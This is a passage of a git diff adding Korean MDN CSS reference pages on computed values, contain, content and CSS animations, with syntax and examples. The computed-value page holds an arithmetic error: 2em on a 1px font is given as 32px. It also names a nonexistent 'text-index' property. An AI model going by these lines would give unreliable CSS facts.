+<p>Please see the <a href="/en-US/docs/CSS/CSS_Reference/Mozilla_Extensions" title="CSS Reference/Mozilla Extensions">Mozilla CSS Extensions</a> page for more information on the Mozilla-prefixed CSS properties.</p>
+
+<h2 id="z-index는_어떻게_포지셔닝을_하는가">z-index는 어떻게 포지셔닝을 하는가?</h2>
+
+<p>The z-index property specifies the stack order of elements.</p>
+
+<p>An element with a higher z-index/stack order is always in front of an element with a lower z-index/stack order.</p>
+
+<p>Z-index will only work on elements that have a specified position (<code>position:absolute</code>, <code>position:relative</code>, or <code>position:fixed</code>).</p>
diff --git a/files/ko/web/css/computed_value/index.html b/files/ko/web/css/computed_value/index.html
new file mode 100644
index 0000000000..feb106bf43
--- /dev/null
+++ b/files/ko/web/css/computed_value/index.html
@@ -0,0 +1,55 @@
+---
+title: 계산값
+slug: Web/CSS/computed_value
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/computed_value
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> 속성의 <strong>계산값</strong>은 상속 과정에서 부모가 자식에게 물려주는 값을 말합니다.</span> 계산값은 <a href="/ko/docs/Web/CSS/specified_value">지정값</a>으로부터 다음 방법을 통해 구합니다.</p>
+
+<ul>
+ <li>특수값인 {{cssxref("inherit")}}, {{cssxref("initial")}}, {{cssxref("unset")}}, {{cssxref("revert")}}를 처리하여.</li>
+ <li>각 속성 정의 표의 "Computed value" 항목이 가리키는 연산을 수행하여.</li>
+</ul>
+
+<p>계산값을 구하기 위한 연산은 보통 상댓값(<code>em</code> 단위나 백분율 등)을 절댓값으로 변환하는 작업을 수반합니다. 예컨대 요소가 <code>font-size: 1px</code>과 <code>padding-top: 2em</code>을 가진다면, <code>padding-top</code>의 계산값은 글씨 크기의 두 배인 <code>32px</code>입니다.</p>
+
+<p>그러나, <code>width</code>, <code>margin-right</code>, <code>text-index</code>, <code>top</code>과 같이, 백분율의 값을 알아내려면 레이아웃부터 계산해야 하는 속성의 백분율 지정값은 백분율 계산값이 됩니다. 추가로, <code>line-height</code> 속성의 단위 없는 값도 그대로 계산값이 됩니다. 이렇게 남겨진 상대적 계산값은 <a href="/ko/docs/Web/CSS/used_value">사용값</a>을 구할 때 절댓값이 됩니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong>{{domxref("Window.getComputedStyle", "getComputedStyle()")}} DOM API는 <a href="/ko/docs/Web/CSS/resolved_value">결정값</a>을 반환합니다. 결정값은 속성에 따라 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>일 수도, <a href="/ko/docs/Web/CSS/used_value">사용값</a>일 수도 있습니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.1", "cascade.html#computed-value", "computed value")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.2", "cascade.html#computed-value", "computed-value")}}</td>
+   <td>{{Spec2("CSS2.2")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Reference">CSS Reference</a></li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/contain/index.html b/files/ko/web/css/contain/index.html
new file mode 100644
index 0000000000..64eb9eba4a
--- /dev/null
+++ b/files/ko/web/css/contain/index.html
@@ -0,0 +1,206 @@
+---
+title: contain
+slug: Web/CSS/contain
+tags:
+  - CSS
+  - CSS Containment
+  - CSS Property
+  - Reference
+  - Web
+  - 'recipe:css-property'
+translation_of: Web/CSS/contain
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>contain</code></strong> 속성은 특정 요소와 콘텐츠가 문서 트리의 다른 부위와 독립되어있음을 나타낼 때 사용합니다. 브라우저는 이 정보를 사용해 레이아웃, 스타일, 페인트, 크기, 또는 그 조합의 계산을 전체 페이지 DOM 대신 일부에서만 수행할 수 있으므로 뚜렷한 성능 상 이점을 얻을 수 있습니다.</p>
+
+<p><code>contain</code> 속성은 위젯 내부 콘텐츠가 외부에 부작용을 끼치는 것을 방지할 수 있으므로 서로 독립된 많은 양의 위젯이 존재하는 페이지에서 유용합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>paint</code>, <code>strict</code>, <code>content</code> 값을 설정할 경우 다음을 생성합니다.</p>
+
+<ol>
+ <li>새로운 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> ({{cssxref("position")}} 속성이 <code>absolute</code> 또는 <code>fixed</code>인 자손을 위함).</li>
+ <li>새로운 <a href="/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context">쌓임 맥락</a>.</li>
+ <li>새로운 <a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">블록 서식 맥락</a>.</li>
+</ol>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 키워드 값 */
+contain: none;
+contain: strict;
+contain: content;
+contain: size;
+contain: layout;
+contain: style;
+contain: paint;
+
+/* 다중 값 */
+contain: size paint;
+contain: size layout paint;
+
+/* 전역 값 */
+contain: inherit;
+contain: initial;
+contain: unset;</pre>
+
+<p><code>contain</code> 속성은 다음 방법 중 하나를 사용해 지정합니다.</p>
+
+<ul>
+ <li><code>none</code>, <code>strict</code>, <code>content</code> 키워드 중 하나를 사용.</li>
+ <li><code>size</code>, <code>layout</code>, <code>style</code>, <code>paint</code> 키워드를 임의 순서로 하나 이상 사용.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>아무것도 격리하지 않고 요소를 평범하게 렌더링합니다.</dd>
+ <dt><code>strict</code></dt>
+ <dd><code>style</code>을 제외한 모든 격리 규칙을 적용합니다. <code>contain: size layout paint</code>와 같습니다.</dd>
+ <dt><code>content</code></dt>
+ <dd><code>size</code>와 <code>style</code>을 제외한 모든 격리 규칙을 적용합니다. <code>contain: layout paint</code>와 같습니다.</dd>
+ <dt><code>size</code></dt>
+ <dd>요소의 크기를 계산할 때 자손의 크기는 고려하지 않아도 됨을 나타냅니다.</dd>
+ <dt><code>layout</code></dt>
+ <dd>요소 외부의 어느 것도 내부 레이아웃에 영향을 주지 않고, 그 반대도 성립함을 나타냅니다.</dd>
+ <dt><code>style</code></dt>
+ <dd>요소 자신과 자손 외에도 영향을 주는 속성이라도 그 영향 범위가 자신을 벗어나지 않음을 나타냅니다. 이 값은 명세에서 "제외 고려" 대상이므로 모든 브라우저가 지원하지 않을 수도 있음을 참고하세요.</dd>
+ <dt><code>paint</code></dt>
+ <dd>요소의 자손이 자신의 범위 바깥에 그려지지 않음을 나타냅니다. 이 값을 지정한 요소의 경우, 요소가 화면 밖에 위치할 경우 당연히 그 안의 자손도 화면 안에 들어오지 않을 것이므로 브라우저는 그 안의 요소를 고려하지 않아도 됩니다. 그러나 만약 자손이 범위 밖으로 넘칠 경우에는 요소의 테두리 상자에서 잘라냅니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_레이아웃">간단한 레이아웃</h3>
+
+<p>다음 마크업은 각각의 콘텐츠를 가진 여러 개의 글을 가정합니다.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;My blog&lt;/h1&gt;
+&lt;article&gt;
+  &lt;h2&gt;Heading of a nice article&lt;/h2&gt;
+  &lt;p&gt;Content here.&lt;/p&gt;
+&lt;/article&gt;
+&lt;article&gt;
+  &lt;h2&gt;Another heading of another article&lt;/h2&gt;
+  &lt;img src="graphic.jpg" alt="photo"&gt;
+  &lt;p&gt;More content here.&lt;/p&gt;
+&lt;/article&gt;</pre>
+
+<p>각 <code>&lt;article&gt;</code>과 <code>&lt;img&gt;</code>엔 테두리를 부여하고, 이미지는 모두 좌측으로 플로팅합니다.</p>
+
+<pre class="brush: css notranslate">img {
+  float: left;
+  border: 3px solid black;
+}
+
+article {
+  border: 1px solid black;
+}</pre>
+
+<p>{{EmbedLiveSample('간단한_레이아웃', '100%', '300')}}</p>
+
+<h3 id="플로팅_간섭">플로팅 간섭</h3>
+
+<p>첫 번째 글의 마지막에 다른 이미지를 넣게 되면 많은 양의 DOM 트리가 다시 레이아웃이나 페인트 과정을 거쳐야 하며, 두 번째 글의 레이아웃에도 간섭하게 됩니다.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;My blog&lt;/h1&gt;
+&lt;article&gt;
+  &lt;h2&gt;Heading of a nice article&lt;/h2&gt;
+  &lt;p&gt;Content here.&lt;/p&gt;
+  &lt;img src="i-just-showed-up.jpg" alt="social"&gt;
+&lt;/article&gt;
+&lt;article&gt;
+  &lt;h2&gt;Another heading of another article&lt;/h2&gt;
+  &lt;img src="graphic.jpg" alt="photo"&gt;
+  &lt;p&gt;More content here.&lt;/p&gt;
+&lt;/article&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">img {
+  float: left;
+  border: 3px solid black;
+}
+
+article {
+  border: 1px solid black;
+}</pre>
+</div>
+
+<p>아래의 라이브 샘플에서, 플로팅 작동 방식으로 인해 첫 번째 이미지가 두 번째 글 안으로 들어가버린 모습을 볼 수 있습니다.</p>
+
+<p>{{EmbedLiveSample('플로팅_간섭', '100%', '300')}}</p>
+
+<h3 id="contain으로_수정하기"><code>contain</code>으로 수정하기</h3>
+
+<p>각각의 <code>article</code>에 <code>contain: content</code>를 지정해주면, 새로운 요소를 추가할 때 그 하위 트리만 계산하고 바깥은 고려하지 않아도 된다는 것을 브라우저가 인식합니다.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;h1&gt;My blog&lt;/h1&gt;
+&lt;article&gt;
+  &lt;h2&gt;Heading of a nice article&lt;/h2&gt;
+  &lt;p&gt;Content here.&lt;/p&gt;
+  &lt;img src="i-just-showed-up.jpg" alt="social"&gt;
+&lt;/article&gt;
+&lt;article&gt;
+  &lt;h2&gt;Another heading of another article&lt;/h2&gt;
+  &lt;img src="graphic.jpg" alt="photo"&gt;
+  &lt;p&gt;More content here.&lt;/p&gt;
+&lt;/article&gt;</pre>
+</div>
+
+<pre class="brush: css notranslate">img {
+  float: left;
+  border: 3px solid black;
+}
+
+article {
+  border: 1px solid black;
+  contain: content;
+}</pre>
+
+<p>또한 첫 번째 이미지가 플로팅으로 인해 아래로 넘어가지 않고, 컨테이너 요소의 범위 안에 머무르는 것도 확인할 수 있습니다.</p>
+
+<p>{{EmbedLiveSample('contain으로_수정하기', '100%', '330')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Containment', '#contain-property', 'contain')}}</td>
+   <td>{{Spec2('CSS Containment')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.contain")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Containment">CSS Containment</a></li>
+ <li>CSS {{cssxref("position")}} 속성</li>
+</ul>
diff --git a/files/ko/web/css/content/index.html b/files/ko/web/css/content/index.html
new file mode 100644
index 0000000000..c06271b05d
--- /dev/null
+++ b/files/ko/web/css/content/index.html
@@ -0,0 +1,297 @@
+---
+title: content
+slug: Web/CSS/content
+tags:
+  - CSS
+  - CSS Counter
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/content
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>content</code></strong> 속성은 생성한 값으로 요소를 대체합니다. <code>content</code> 속성으로 추가한 요소는 "익명 <a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a>"입니다.</p>
+
+<pre class="brush:css no-line-numbers">/* 다른 값과 조합할 수 없는 키워드 */
+content: normal;
+content: none;
+
+/* <a href="/ko/docs/Web/CSS/image">&lt;image&gt;</a> 값 */
+content: url("http://www.example.com/test.png");
+content: linear-gradient(#e66465, #9198e5);
+
+/* 생성한 값의 대체 텍스트, Level 3 명세에서 추가 */
+content: url("http://www.example.com/test.png") / "This is the alt text";
+
+/* 앞선 값은 모두 ::before와 ::after에만 적용 가능 */
+
+/* &lt;string&gt; 값 */
+content: "prefix";
+
+/* &lt;counter&gt; 값 */
+content: counter(chapter_counter);
+content: counters(section_counter, ".");
+
+/* HTML 속성값으로 연결하는 attr() */
+content: attr(value string);
+
+/* 언어와 요소 위치 기반 키워드 */
+content: open-quote;
+content: close-quote;
+content: no-open-quote;
+content: no-close-quote;
+
+/* normal과 none을 제외하면 여러 키워드를 함께 사용할 수 있음 */
+content: open-quote chapter_counter;
+
+/* 전역 값 */
+content: inherit;
+content: initial;
+content: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>의사 요소를 생성하지 않음.</dd>
+ <dt><code>normal</code></dt>
+ <dd><code>::before</code>와 <code>::after</code> 의사 요소인 경우 <code>none</code>.</dd>
+ <dt>{{cssxref("&lt;string&gt;")}}</dt>
+ <dd>요소의 "대체 텍스트". 모든 숫자와 문자가 가능합니다. 단, 라틴계 문자가 아닌 경우 유니코드 이스케이프 시퀀스를 사용해 인코딩해야 합니다. 예를 들어, <code>\000A9</code>는 저작권 기호입니다.</dd>
+ <dt>{{cssxref("&lt;image&gt;")}}</dt>
+ <dd>{{cssxref("&lt;url&gt;")}}이나 {{cssxref("&lt;gradient&gt;")}} 자료형을 사용한 {{cssxref("&lt;image&gt;")}}, 또는 {{cssxref("element")}} 함수를 사용해 가리킨, 보여줄 웹페이지의 일부.</dd>
+ <dt>{{cssxref("&lt;counter&gt;")}}</dt>
+ <dd>보통 숫자인 <a href="/ko/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS 카운터 값</a>.{{cssxref("counter")}}나 {{cssxref("counters")}} 함수를 사용해 지정할 수 있습니다.</dd>
+ <dd>
+ <p>{{cssxref("counter")}} 함수는 'counter(<var>name</var>)'과 'counter(<var>name</var>, <var>style</var>)'의 두 형태를 가지고 있습니다. 생성하는 값은 주어진 의사 요소의 현재 범위에서, 해당하는 이름을 가진 가장 안쪽 카운터의 값입니다. 지정한 스타일(기본 <code>decimal</code>)에 맞춰 서식을 적용합니다.</p>
+
+ <p>{{cssxref("counters")}} 함수 역시 'counters(<var>name</var>, <var>string</var>)'과 'counters(<var>name</var>, <var>string</var>, <var>style</var>)'의 두 형태를 가집니다. 생성하는 값은 주어진 의사 요소의 현재 범위에서, 해당하는 이름을 가진 카운터 값의 목록으로 바깥쪽부터 시작하며 주어진 문자열을 사용해 구분합니다. 지정한 스타일(기본 <code>decimal</code>)에 맞춰 서식을 적용합니다..</p>
+ </dd>
+ <dt><code>attr(x)</code></dt>
+ <dd>문자열로 변환한, 요소 속성 <code>x</code>의 값. <code>x</code> 속성이 존재하지 않으면 빈 문자열을 반환합니다. 속성명의 대소문자 구분 여부는 문서 언어에 따릅니다.</dd>
+ <dt><code>open-quote</code> | <code>close-quote</code></dt>
+ <dd>{{cssxref("quotes")}} 속성에서 가져온 적절한 문자열을 사용해 대체.</dd>
+ <dt><code>no-open-quote</code> | <code>no-close-quote</code></dt>
+ <dd>콘텐츠는 추가하지 않고, 대신 따옴표의 중첩 단계를 증감.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="헤딩과_따옴표">헤딩과 따옴표</h3>
+
+<p>다음 예제는 인용구 주변에 따옴표를 추가하고, 헤딩 앞에 단어 "Chapter"를 추가합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;h1&gt;5&lt;/h1&gt;
+&lt;p&gt;According to Sir Tim Berners-Lee,
+  &lt;q cite="http://www.w3.org/People/Berners-Lee/FAQ.html#Internet"&gt;I was
+    lucky enough to invent the Web at the time when the Internet
+    already existed - and had for a decade and a half.&lt;/q&gt;
+  We must understand that there is nothing fundamentally wrong
+  with building on the contributions of others.
+&lt;/p&gt;
+
+&lt;h1&gt;6&lt;/h1&gt;
+&lt;p&gt;According to the Mozilla Manifesto,
+  &lt;q cite="http://www.mozilla.org/en-US/about/manifesto/"&gt;Individuals
+    must have the ability to shape the Internet and
+    their own experiences on the Internet.&lt;/q&gt;
+  Therefore, we can infer that contributing to the open web
+  can protect our own individual experiences on it.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">q {
+  color: blue;
+}
+
+q::before {
+  content: open-quote;
+}
+
+q::after {
+  content: close-quote;
+}
+
+h1::before  {
+  content: "Chapter ";  /* The trailing space creates separation
+                           between the added content and the
+                           rest of the content */
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('헤딩과_따옴표', '100%', 200)}}</p>
+
+<h3 id="이미지와_텍스트">이미지와 텍스트</h3>
+
+<p>다음 예제는 링크 앞에 이미지를 추가합니다. 이미지를 가져오지 못한 경우 텍스트를 대신 추가합니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;a href="http://www.mozilla.org/en-US/"&gt;Mozilla Home Page&lt;/a&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">a::before {
+  content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico") " MOZILLA: ";
+  font: x-small Arial, sans-serif;
+  color: gray;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample('이미지와_텍스트', '100%', 60)}}</p>
+
+<h3 id="클래스_사용">클래스 사용</h3>
+
+<p>다음 예제는 목록의 특별한 항목 뒤에 추가 텍스트를 삽입합니다.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;h2&gt;Paperback Best Sellers&lt;/h2&gt;
+&lt;ol&gt;
+  &lt;li&gt;Political Thriller&lt;/li&gt;
+  &lt;li class="new-entry"&gt;Halloween Stories&lt;/li&gt;
+  &lt;li&gt;My Biography&lt;/li&gt;
+  &lt;li class="new-entry"&gt;Vampire Romance&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">.new-entry::after {
+  content: " New!";  /* The leading space creates separation
+                        between the added content and the
+                        rest of the content */
+  color: red;
+}</pre>
+
+<h4 id="결과_3">결과</h4>
+
+<p>{{EmbedLiveSample('클래스_사용', '100%', 160)}}</p>
+
+<h3 id="이미지와_요소_속성">이미지와 요소 속성</h3>
+
+<p>다음 예제는 링크 앞에 이미지를 추가하고, 뒤에 <code>id</code> 속성의 값을 붙입니다.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;a id="moz" href="http://www.mozilla.org/"&gt;
+    Mozilla Home Page&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a id="mdn" href="https://developer.mozilla.org/"&gt;
+    Mozilla Developer Network&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css">a {
+  text-decoration: none;
+  border-bottom: 3px dotted navy;
+}
+
+a::after {
+  content: " (" attr(id) ")";
+}
+
+#moz::before {
+  content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico") ;
+}
+
+#mdn::before {
+  content: url("https://mdn.mozillademos.org/files/7691/mdn-favicon16.png") ;
+}
+
+li {
+  margin: 1em;
+}
+</pre>
+
+<h4 id="결과_4">결과</h4>
+
+<p>{{EmbedLiveSample('이미지와_요소_속성', '100%', 160)}}</p>
+
+<h3 id="요소_대체">요소 대체</h3>
+
+<p>다음 예제는 요소의 콘텐츠를 이미지로 대체합니다. {{cssxref("&lt;url&gt;")}} 또는 {{cssxref("&lt;image&gt;")}} 사용하면 콘텐츠를 대체합니다. 요소를 대체했으므로 <code>::before</code>나 <code>::after</code>는 생성하지 않습니다.</p>
+
+<h4 id="HTML_5">HTML</h4>
+
+<pre class="brush: html">&lt;div id="replaced"&gt;Mozilla&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_5">CSS</h4>
+
+<pre class="brush: css">#replaced {
+  content: url("https://mdn.mozillademos.org/files/12668/MDN.svg");
+}
+
+#replaced::after { /* will not show if element replacement is supported */
+  content: " (" attr(id) ")";
+}</pre>
+
+<h4 id="결과_5">결과</h4>
+
+<p>{{EmbedLiveSample('요소_대체', '100%', 200)}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>CSS로 생성한 콘텐츠는 <a href="/ko/docs/Web/API/Document_Object_Model/소개">DOM</a>이 포함하지 않고, <a href="/ko/docs/Learn/접근성/What_is_accessibility">접근성 트리</a>에도 들어가지 않습니다. 따라서 특정 접근성 기술/브라우저 조합이 내용을 표현하지 않을 수 있습니다. 콘텐츠가 포함한 정보가 페이지의 목적을 이해하는 것에 중요하다면 주 문서로 포함하는 것이 좋습니다.</p>
+
+<ul>
+ <li><a href="https://tink.uk/accessibility-support-for-css-generated-content/">Accessibility support for CSS generated content – Tink</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">Explanation of WCAG, Guideline 1.3 – MDN</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html">Understanding Success Criterion 1.3.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Content", "#content-property", "content")}}</td>
+   <td>{{Spec2("CSS3 Content")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "generate.html#content", "content")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.content")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("::after")}}</li>
+ <li>{{Cssxref("::before")}}</li>
+ <li>{{Cssxref("::marker")}}</li>
+ <li>{{Cssxref("quotes")}}</li>
+ <li>{{cssxref("url()")}} 함수</li>
+</ul>
diff --git a/files/ko/web/css/css_animated_properties/index.html b/files/ko/web/css/css_animated_properties/index.html
new file mode 100644
index 0000000000..4f492a157d
--- /dev/null
+++ b/files/ko/web/css/css_animated_properties/index.html
@@ -0,0 +1,14 @@
+---
+title: CSS animated properties
+slug: Web/CSS/CSS_animated_properties
+tags:
+  - CSS
+translation_of: Web/CSS/CSS_animated_properties
+---
+<p>{{CSSRef}}</p>
+
+<p>일부 CSS 속성은 애니메이션될 수 있습니다, 즉 그 값을 바꿀 때 <a href="/ko/docs/Web/CSS/CSS_Animations">CSS animation</a> 또는 <a href="/ko/docs/Web/CSS/CSS_Transitions">CSS transition</a>이 사용된 경우 부드러운 방식으로 바꿀 수 있습니다.</p>
+
+<p>다음은 애니메이션 가능한 속성 목록입니다:</p>
+
+<p>{{CSSAnimatedProperties}}</p>
diff --git a/files/ko/web/css/css_animations/index.html b/files/ko/web/css/css_animations/index.html
new file mode 100644
index 0000000000..5740301594
--- /dev/null
+++ b/files/ko/web/css/css_animations/index.html
@@ -0,0 +1,87 @@
+---
+title: CSS Animations
+slug: Web/CSS/CSS_Animations
+tags:
+  - CSS
+  - CSS Animations
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Animations
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Animations</strong> is a module of CSS that lets you animate the values of CSS properties over time, using keyframes. The behavior of these keyframe animations can be controlled by specifying their timing function, duration, their number of repetitions, and other attributes.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("animation")}}</li>
+ <li>{{cssxref("animation-delay")}}</li>
+ <li>{{cssxref("animation-direction")}}</li>
+ <li>{{cssxref("animation-duration")}}</li>
+ <li>{{cssxref("animation-fill-mode")}}</li>
+ <li>{{cssxref("animation-iteration-count")}}</li>
+ <li>{{cssxref("animation-name")}}</li>
+ <li>{{cssxref("animation-play-state")}}</li>
+ <li>{{cssxref("animation-timing-function")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_At-rules">CSS At-rules</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@keyframes")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Animations/Detecting_CSS_animation_support">Detecting CSS animation support</a></dt>
+ <dd>Describes a technique for detecting if a browser supports CSS animations.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations">Using CSS animations</a></dt>
+ <dd>Step-by-step tutorial about how to create animations using CSS. This article describes each relevant CSS property and at-rule and explains how they interact with each other.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Animations/Tips">CSS animations tips and tricks</a></dt>
+ <dd>Tips and tricks to help you get the most out of CSS animations. Currently offers a technique for replaying an animation which has already run through to completion, which the API doesn't support inherently.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<h3 id="animation_property"><code>animation</code> property</h3>
+
+<div>
+
+
+<p>{{Compat("css.properties.animation")}}</p>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related to CSS Animations, <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS Transitions</a> can trigger animations based on user actions.</li>
+</ul>
diff --git a/files/ko/web/css/css_animations/using_css_animations/index.html b/files/ko/web/css/css_animations/using_css_animations/index.html
new file mode 100644
index 0000000000..416e3fc515
--- /dev/null
+++ b/files/ko/web/css/css_animations/using_css_animations/index.html
@@ -0,0 +1,330 @@
+---
+title: CSS 애니메이션 사용하기
+slug: Web/CSS/CSS_Animations/Using_CSS_animations
+tags:
+  - Advanced
+  - CSS
+  - CSS Animations
+  - Example
+  - Experimental
+  - Guide
+translation_of: Web/CSS/CSS_Animations/Using_CSS_animations
+---
+<p>{{SeeCompatTable}}{{CSSRef}}</p>
+
+<p><strong>CSS3 애니메이션</strong>은 엘리먼트에 적용되는 CSS 스타일을 다른 CSS 스타일로 부드럽게 전환시켜 줍니다. 애니메이션은 애니메이션을 나타내는 CSS 스타일과 애니메이션의 중간 상태를 나타내는 키프레임들로 이루어집니다.</p>
+
+<p>CSS 애니메이션은 기존에 사용되던 스크립트를 이용한 애니메이션 보다 다음 세 가지 이유에서 이점을 가집니다.</p>
+
+<ol>
+ <li>자바스크립트를 모르더라도 간단하게 애니메이션을 만들 수 있습니다.</li>
+ <li>자바스크립트를 이용한 애니메이션은 잘 만들어졌더라도 성능이 좋지 못할때가 있습니다. CSS 애니메이션은 frame-skipping 같은 여러 기술을 이용하여 최대한 부드럽게 렌더링됩니다.</li>
+ <li>브라우저는 애니메이션의 성능을 효율적으로 최적화할 수 있습니다. 예를 들어 현재 안보이는 엘리먼트에 대한 애니메이션은 업데이트 주기를 줄여 부하를 최소화할 수 있습니다.</li>
+</ol>
+
+<h2 id="애니메이션_적용하기">애니메이션 적용하기</h2>
+
+<p>CSS 애니메이션을 만드려면 {{ cssxref("animation") }} 속성과 이 속성의 하위 속성을 지정합니다. 애니메이션의 총 시간과 반복 여부등을 지정할 수 있습니다. 이 속성은 애니메이션의 중간상태를 기술하지 않는다는걸 명심하세요. 애니메이션의 중간 상태는 아래에서 다룰 {{ cssxref("@keyframes") }}  규칙을 이용하여 기술합니다. </p>
+
+<p>{{ cssxref("animation") }} 속성의 하위 속성은 다음과 같습니다.</p>
+
+<dl>
+ <dt>{{ cssxref("animation-delay") }}</dt>
+ <dd>엘리먼트가 로드되고 나서 언제 애니메이션이 시작될지 지정합니다.</dd>
+ <dt>{{ cssxref("animation-direction") }}</dt>
+ <dd>애니메이션이 종료되고 다시 처음부터 시작할지 역방향으로 진행할지 지정합니다.</dd>
+ <dt>{{ cssxref("animation-duration") }}</dt>
